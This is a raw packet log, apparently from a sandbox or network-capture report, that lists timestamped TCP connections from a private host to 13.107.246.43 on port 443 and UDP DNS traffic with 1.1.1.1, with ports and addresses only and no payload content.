Nov 19, 2024 00:02:31.238663912 CET	443	49888	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.238912106 CET	49888	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.238913059 CET	49888	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.238913059 CET	49888	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.238913059 CET	49888	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.241024017 CET	49893	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.241108894 CET	443	49893	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.241194963 CET	49893	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.241324902 CET	49893	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.241358995 CET	443	49893	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.372747898 CET	443	49889	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.373368979 CET	49889	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.373410940 CET	443	49889	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.373786926 CET	49889	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.373799086 CET	443	49889	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.440927029 CET	443	49890	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.441448927 CET	49890	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.441534996 CET	443	49890	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.441731930 CET	49890	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.441746950 CET	443	49890	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.509521008 CET	443	49889	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.509665966 CET	443	49889	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.509807110 CET	49889	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.510422945 CET	49889	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.510422945 CET	49889	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.510461092 CET	443	49889	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.510483027 CET	443	49889	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.514213085 CET	49894	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.514276981 CET	443	49894	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.514358044 CET	49894	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.514473915 CET	49894	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.514491081 CET	443	49894	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.544060946 CET	49888	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.544123888 CET	443	49888	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.713407993 CET	443	49890	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.713474035 CET	443	49890	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.713551998 CET	49890	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.713732004 CET	49890	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.713774920 CET	443	49890	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.713804007 CET	49890	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.713819981 CET	443	49890	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.718151093 CET	49895	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.718230963 CET	443	49895	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.718317986 CET	49895	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.718483925 CET	49895	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.718517065 CET	443	49895	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.833048105 CET	443	49891	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.833811045 CET	443	49892	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.833909988 CET	49891	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.833941936 CET	443	49891	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.834234953 CET	49892	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.834265947 CET	443	49892	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.834588051 CET	49891	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.834593058 CET	443	49891	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.834846020 CET	49892	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.834858894 CET	443	49892	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.966427088 CET	443	49892	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.966455936 CET	443	49892	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.966500044 CET	443	49892	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.966525078 CET	49892	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.966562986 CET	49892	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.966756105 CET	49892	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.966788054 CET	443	49892	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.966813087 CET	49892	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.966826916 CET	443	49892	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.970891953 CET	49896	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.970936060 CET	443	49896	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:31.971014023 CET	49896	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.971172094 CET	49896	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:31.971189976 CET	443	49896	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.007370949 CET	443	49891	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.007544041 CET	443	49891	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.007618904 CET	49891	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.007699966 CET	49891	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.007699966 CET	49891	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.007740974 CET	443	49891	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.007767916 CET	443	49891	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.010591030 CET	49897	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.010646105 CET	443	49897	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.010731936 CET	49897	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.010888100 CET	49897	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.010900974 CET	443	49897	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.208298922 CET	443	49893	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.208791971 CET	49893	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.208853006 CET	443	49893	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.209536076 CET	49893	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.209549904 CET	443	49893	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.287869930 CET	443	49894	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.288305044 CET	49894	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.288337946 CET	443	49894	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.288836002 CET	49894	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.288850069 CET	443	49894	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.341478109 CET	443	49893	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.341749907 CET	443	49893	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.341969967 CET	49893	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.341969967 CET	49893	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.341969967 CET	49893	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.344664097 CET	49898	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.344707966 CET	443	49898	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.344799995 CET	49898	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.344937086 CET	49898	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.344964027 CET	443	49898	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.417027950 CET	443	49894	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.417156935 CET	443	49894	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.417223930 CET	49894	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.422152042 CET	49894	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.422152042 CET	49894	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.422185898 CET	443	49894	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.422210932 CET	443	49894	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.426831961 CET	49899	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.426877022 CET	443	49899	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.427084923 CET	49899	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.427155018 CET	49899	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.427166939 CET	443	49899	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.472596884 CET	443	49895	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.479733944 CET	49895	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.479757071 CET	443	49895	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.480859995 CET	49895	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.480868101 CET	443	49895	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.610470057 CET	443	49895	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.610593081 CET	443	49895	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.610661030 CET	49895	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.632339001 CET	49895	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.632339001 CET	49895	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.632359028 CET	443	49895	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.632381916 CET	443	49895	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.640647888 CET	49900	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.640736103 CET	443	49900	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.640830040 CET	49900	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.641365051 CET	49900	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.641405106 CET	443	49900	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.653363943 CET	49893	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.653373003 CET	443	49893	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.729868889 CET	443	49896	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.730726957 CET	49896	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.730761051 CET	443	49896	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.731210947 CET	49896	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.731218100 CET	443	49896	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.788661957 CET	443	49897	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.789206982 CET	49897	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.789251089 CET	443	49897	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.789757013 CET	49897	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.789768934 CET	443	49897	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.900754929 CET	443	49896	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.900782108 CET	443	49896	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.900816917 CET	443	49896	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.900970936 CET	49896	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.900970936 CET	49896	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.901683092 CET	49896	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.901683092 CET	49896	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.901715040 CET	443	49896	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.901731968 CET	443	49896	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.904583931 CET	49901	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.904671907 CET	443	49901	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.904767990 CET	49901	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.906985998 CET	49901	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.907022953 CET	443	49901	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.921813965 CET	443	49897	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.921963930 CET	443	49897	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.922174931 CET	49897	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.922174931 CET	49897	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.922174931 CET	49897	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.924510956 CET	49902	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.924597979 CET	443	49902	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:32.924688101 CET	49902	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.924841881 CET	49902	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:32.924879074 CET	443	49902	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.080276966 CET	443	49898	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.080751896 CET	49898	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.080770969 CET	443	49898	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.081350088 CET	49898	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.081357002 CET	443	49898	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.153398037 CET	49897	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.153423071 CET	443	49897	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.161416054 CET	443	49899	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.161803007 CET	49899	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.161813974 CET	443	49899	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.162336111 CET	49899	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.162339926 CET	443	49899	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.214498997 CET	443	49898	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.214632988 CET	443	49898	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.214936972 CET	49898	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.214936972 CET	49898	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.214936972 CET	49898	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.217689991 CET	49903	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.217775106 CET	443	49903	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.217850924 CET	49903	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.217961073 CET	49903	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.217993021 CET	443	49903	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.292635918 CET	443	49899	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.292781115 CET	443	49899	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.292840004 CET	49899	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.292876005 CET	49899	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.292884111 CET	443	49899	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.292891979 CET	49899	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.292896986 CET	443	49899	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.294990063 CET	49904	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.295006037 CET	443	49904	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.295070887 CET	49904	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.295181036 CET	49904	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.295191050 CET	443	49904	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.438556910 CET	443	49900	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.439090967 CET	49900	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.439152956 CET	443	49900	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.439409018 CET	49900	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.439424038 CET	443	49900	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.528373003 CET	49898	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.528393030 CET	443	49898	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.635178089 CET	443	49900	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.635217905 CET	443	49900	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.635267973 CET	443	49900	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.635270119 CET	49900	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.635322094 CET	49900	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.635490894 CET	49900	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.635509968 CET	443	49900	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.635524988 CET	49900	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.635533094 CET	443	49900	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.638433933 CET	49905	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.638463020 CET	443	49905	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.638530970 CET	49905	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.638657093 CET	49905	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.638674021 CET	443	49905	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.642333984 CET	443	49901	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.642872095 CET	49901	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.642911911 CET	443	49901	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.643699884 CET	49901	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.643717051 CET	443	49901	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.661746025 CET	443	49902	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.662056923 CET	49902	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.662076950 CET	443	49902	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.662425995 CET	49902	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.662432909 CET	443	49902	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.780633926 CET	443	49901	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.780684948 CET	443	49901	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.780750990 CET	49901	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.780895948 CET	49901	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.780896902 CET	49901	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.780940056 CET	443	49901	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.780966043 CET	443	49901	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.783636093 CET	49906	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.783672094 CET	443	49906	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.783744097 CET	49906	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.783883095 CET	49906	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.783898115 CET	443	49906	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.800153971 CET	443	49902	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.800223112 CET	443	49902	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.800290108 CET	49902	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.800319910 CET	443	49902	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.800376892 CET	49902	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.800463915 CET	49902	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.800508022 CET	443	49902	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.800539970 CET	49902	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.800554991 CET	443	49902	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.802865028 CET	49907	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.802895069 CET	443	49907	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.803011894 CET	49907	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.803100109 CET	49907	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.803113937 CET	443	49907	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.975995064 CET	443	49903	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.976366043 CET	49903	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.976397991 CET	443	49903	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:33.976932049 CET	49903	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:33.976946115 CET	443	49903	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:34.114753008 CET	443	49903	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:34.115267038 CET	443	49903	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:34.115365028 CET	49903	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:34.115365028 CET	49903	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:34.115412951 CET	49903	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:34.115433931 CET	443	49903	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:34.117835045 CET	49908	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:34.117878914 CET	443	49908	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:34.117964983 CET	49908	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:34.118083954 CET	49908	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:34.118110895 CET	443	49908	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:34.257885933 CET	443	49904	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:34.258299112 CET	49904	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:34.258328915 CET	443	49904	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:34.258790016 CET	49904	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:34.258794069 CET	443	49904	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:34.396313906 CET	443	49904	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:34.396384954 CET	443	49904	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:34.396481037 CET	443	49904	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:34.396698952 CET	49904	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:34.396698952 CET	49904	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:34.396698952 CET	49904	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:34.400523901 CET	49909	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:34.400593996 CET	443	49909	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:34.400768995 CET	49909	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:34.401030064 CET	49909	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:34.401066065 CET	443	49909	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:34.423480988 CET	443	49905	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:34.423953056 CET	49905	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:34.423979998 CET	443	49905	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:34.424377918 CET	49905	443	192.168.2.4	13.107.246.43
Nov 19, 2024 00:02:34.424386024 CET	443	49905	13.107.246.43	192.168.2.4
Nov 19, 2024 00:02:34.527014971 CET	443	49906	13.107.246.43	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 19, 2024 00:01:16.696593046 CET	53	51183	1.1.1.1	192.168.2.4
Nov 19, 2024 00:01:16.704313040 CET	53	63368	1.1.1.1	192.168.2.4
Nov 19, 2024 00:01:18.003236055 CET	53	64958	1.1.1.1	192.168.2.4
Nov 19, 2024 00:01:18.345210075 CET	49403	53	192.168.2.4	1.1.1.1
Nov 19, 2024 00:01:18.345752954 CET	59006	53	192.168.2.4	1.1.1.1
Nov 19, 2024 00:01:18.352416039 CET	53	49403	1.1.1.1	192.168.2.4
Nov 19, 2024 00:01:18.354382992 CET	53	59006	1.1.1.1	192.168.2.4
Nov 19, 2024 00:01:19.801181078 CET	58898	53	192.168.2.4	1.1.1.1
Nov 19, 2024 00:01:19.801517963 CET	51965	53	192.168.2.4	1.1.1.1
Nov 19, 2024 00:01:19.837829113 CET	53	51965	1.1.1.1	192.168.2.4
Nov 19, 2024 00:01:19.839596987 CET	53	58898	1.1.1.1	192.168.2.4
Nov 19, 2024 00:01:19.969362020 CET	63140	53	192.168.2.4	1.1.1.1
Nov 19, 2024 00:01:19.969614029 CET	64987	53	192.168.2.4	1.1.1.1
Nov 19, 2024 00:01:19.978327990 CET	53	64987	1.1.1.1	192.168.2.4
Nov 19, 2024 00:01:19.978377104 CET	53	63140	1.1.1.1	192.168.2.4
Nov 19, 2024 00:01:22.519761086 CET	59015	53	192.168.2.4	1.1.1.1
Nov 19, 2024 00:01:22.520359993 CET	62649	53	192.168.2.4	1.1.1.1
Nov 19, 2024 00:01:22.529129028 CET	53	62649	1.1.1.1	192.168.2.4
Nov 19, 2024 00:01:22.539213896 CET	53	59015	1.1.1.1	192.168.2.4
Nov 19, 2024 00:01:22.900712967 CET	59939	53	192.168.2.4	1.1.1.1
Nov 19, 2024 00:01:22.901053905 CET	50385	53	192.168.2.4	1.1.1.1
Nov 19, 2024 00:01:22.918616056 CET	53	59939	1.1.1.1	192.168.2.4
Nov 19, 2024 00:01:22.935686111 CET	53	50385	1.1.1.1	192.168.2.4
Nov 19, 2024 00:01:23.944489002 CET	56595	53	192.168.2.4	1.1.1.1
Nov 19, 2024 00:01:23.944618940 CET	55520	53	192.168.2.4	1.1.1.1
Nov 19, 2024 00:01:23.946722984 CET	60249	53	192.168.2.4	1.1.1.1
Nov 19, 2024 00:01:23.946882010 CET	65247	53	192.168.2.4	1.1.1.1
Nov 19, 2024 00:01:23.952054024 CET	53	55520	1.1.1.1	192.168.2.4
Nov 19, 2024 00:01:23.954365015 CET	53	60249	1.1.1.1	192.168.2.4
Nov 19, 2024 00:01:23.954400063 CET	53	65247	1.1.1.1	192.168.2.4
Nov 19, 2024 00:01:23.963625908 CET	64407	53	192.168.2.4	1.1.1.1
Nov 19, 2024 00:01:23.963843107 CET	49817	53	192.168.2.4	1.1.1.1
Nov 19, 2024 00:01:23.968487978 CET	53	56595	1.1.1.1	192.168.2.4
Nov 19, 2024 00:01:23.971138954 CET	53	49817	1.1.1.1	192.168.2.4
Nov 19, 2024 00:01:23.982357979 CET	53	64407	1.1.1.1	192.168.2.4
Nov 19, 2024 00:01:23.987093925 CET	64809	53	192.168.2.4	1.1.1.1
Nov 19, 2024 00:01:23.987226963 CET	55754	53	192.168.2.4	1.1.1.1
Nov 19, 2024 00:01:23.993890047 CET	53	64809	1.1.1.1	192.168.2.4
Nov 19, 2024 00:01:23.993926048 CET	53	55754	1.1.1.1	192.168.2.4
Nov 19, 2024 00:01:24.055296898 CET	53	64892	1.1.1.1	192.168.2.4
Nov 19, 2024 00:01:25.286596060 CET	51929	53	192.168.2.4	1.1.1.1
Nov 19, 2024 00:01:25.286818027 CET	53203	53	192.168.2.4	1.1.1.1
Nov 19, 2024 00:01:25.293281078 CET	53	51929	1.1.1.1	192.168.2.4
Nov 19, 2024 00:01:25.293960094 CET	53	53203	1.1.1.1	192.168.2.4
